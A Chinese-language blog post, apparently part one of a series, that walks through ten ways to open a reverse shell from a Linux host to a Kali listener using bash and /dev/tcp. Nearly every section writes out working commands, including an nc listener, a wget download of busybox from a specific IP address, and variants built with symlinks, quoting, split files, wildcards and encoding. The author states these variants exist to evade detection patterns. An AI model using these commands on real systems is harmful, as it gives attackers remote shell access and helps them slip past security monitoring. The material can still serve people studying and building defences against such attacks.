Linux反弹shell姿势复现(一)--- 利用bash反弹shell
前言
反弹shell有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹shell复现也算是一个近期工作的归纳总结吧。
注意:本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考!
复现环境说明
我在ubuntu和centos上均做了复现,用于比较版本对反弹shell的影响,实验方式是一样的,只是为了对比结果。
-
服务端(被监听)(ubuntu使用
cat /proc/version
查看,centos使用cat /etc/system-release
查看):ubuntu 5.4.0-67-generic; centos:CentOS Linux release 7.5.1804 (Core) -
客户端(监听):kali 5.9.0-kali1-amd64
利用bash反弹shell
利用bash反弹shell的方式有很多,之后本页面也会不断更新
重要说明
- /dev/tcp文件说明
这个文件在利用bash反弹shell的时候非常重要,这个文件本身是不存在的,可以看成是一个设备,打开这个文件就相当于发出了一个socket调用,建立起一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
/dev/tcp/host_ip/port :只要读取或者写入这个文件,相当于系统会尝试连接ip地址为host_ip的这台机器,对应的端口为port,如果这个ip和端口存在,就会建立起一个socket连接,在/proc/self/fd 目录下面,还有对应的文件生成。利用这个/dev/tcp文件的这个原理,就可以实现shell的反弹。
方法一:利用bash进行反弹
这是一种基础的利用/dev/tcp文件原理的方法
-
监听端(kali端):
首先让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
-
被监听端(ubuntu端):
cp /usr/bin/bash /opt/log_file/t
(复制一个bash到当前文件夹)
./t -i >& /dev/tcp/kali的ip地址/1231 0<&1
-
kali端已经拿到ubuntu的shell,成功后,在kali输入
exit
退出即可
方法二:利用busybox执行sh进行反弹
利用busybox:BusyBox 是标准 Linux 工具的一个单个可执行实现,里面含带了多种shell,只不过里面没有包含bash(此方法使用sh)。简单的说,busybox就是一个小型的根文件系统。因此,我们可以使用busybox来模拟根文件系统(rootfs),然后再结合一个linux内核,这样就可以组件一个linux系统了。
- 监听端(kali端)
首先让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(ubuntu端):
- 远程下载busybox:
wget http://139.196.91.13:7001/busybox
- 给busybox增加执行权限
chmod +x busybox
- 利用busybox执行sh
./busybox sh -i >& /dev/t""cp/kali的ip地址/1231 0<&1
- kali拿到反弹过来的shell
结果与方法一的结果相同,使用命令exit
退出即可
方法三:软连接诶+绕过正则示例1(命令变化特殊字符)
利用ln创建sh的软链接,然后通过/dev/tcp进行反弹:
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh t
str=dev
./t -i >& /${str}/tcp/kali的ip地址/1231 0>&1
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法四:软链接+绕过正则示例2(命令变化特殊字符)+新起一个bash
利用ln创建sh的软链接,利用echo
命令给值给sh,然后通过/dev/tcp进行反弹:
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh t
echo './t -i >&' '/dev/tcp/kali的ip地址/1231' '0>&1' |bash
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法五:软链接+绕过正则示例3(命令变化特殊字符)
利用ln创建sh的软链接,然后通过/dev/tcp进行反弹:
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh t
./t -i >& /"dev"/tcp/kali的ip地址/1231 0>&1
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
这样的变化方式有很多,主要是增加一些符号等,并不影响命令的执行,比如双引号还可以编程单引号、加一些括号、$符号、“*”号等等。
方法六:利用软链接+bash执行文件内容
依旧是利用软链接,但是把命令写在文件中去执行。
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh /tmp/t
echo -n '0<&196
exec 196' > a
echo -n '<>/dev/tcp/kali的ip地址' > b
echo -n '/1231
/tmp/t <&196 >&196 2>&196' > c
cat a b c|bash
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法七:利用软链接+新起bash执行反弹
依旧是利用软链接,通过新起一个bash来执行反弹命令。
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh /tmp/t
echo '0<&196
exec' '196<>/dev/tcp/kali的ip地址/1231
' '/tmp/t <&196 >&196 2>&196'|bash
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法八:软链接+执行文件中的命+新起一个bash
依旧是利用软链接,通过新起一个bash来执行反弹命令和写入文件相结合。
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh t
echo -n './t -i >& /de' > a
echo -n 'v/tcp/kali的ip地址/1231 0>' > b
echo -n '&1' > c; cat a b c|bash
-
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
- kali端拿到被监听方反弹的shell,使用
方法九:利用zsh替换bash+绕过正则
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
执行命令:/b?n/c?h -i > /dev/tcp/kali的ip地址/1231 0>&1
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法十:利用tcsh替换bash+绕过正则
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
执行命令/b?n/tc?h -i > /dev/tcp/kali的ip地址/1231 0>&1
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
这一篇博文后续也会继续保持更新,目前做了二十几种bash反弹shell的复现,反弹的方式多种多样,并不能涵盖所有,本文总结了其中的一部分,大多数利用bash反弹shell的方式主要是利用本文提到的方法的排列组合,或者是增加一些符号,也就是绕过正则,在命令中变换特殊字符,比如空格使用${IFS}、使用base64编码等,或者是加入命令通配符,比如/b?n/ba?h等,亦或者是使用tcsh、zsh来替换bash,或者是cp、软链接来替换bash躲避检测等等,主要是为了躲避检测,方式有很多很多,但是其原理都是大同小异)
接下来如果在做到利用bash反弹shell,会进行横向纵向的扩充,根据姿势的种类,也会增加博文的篇数,其他方面如有不足,请多指正(#^.^#)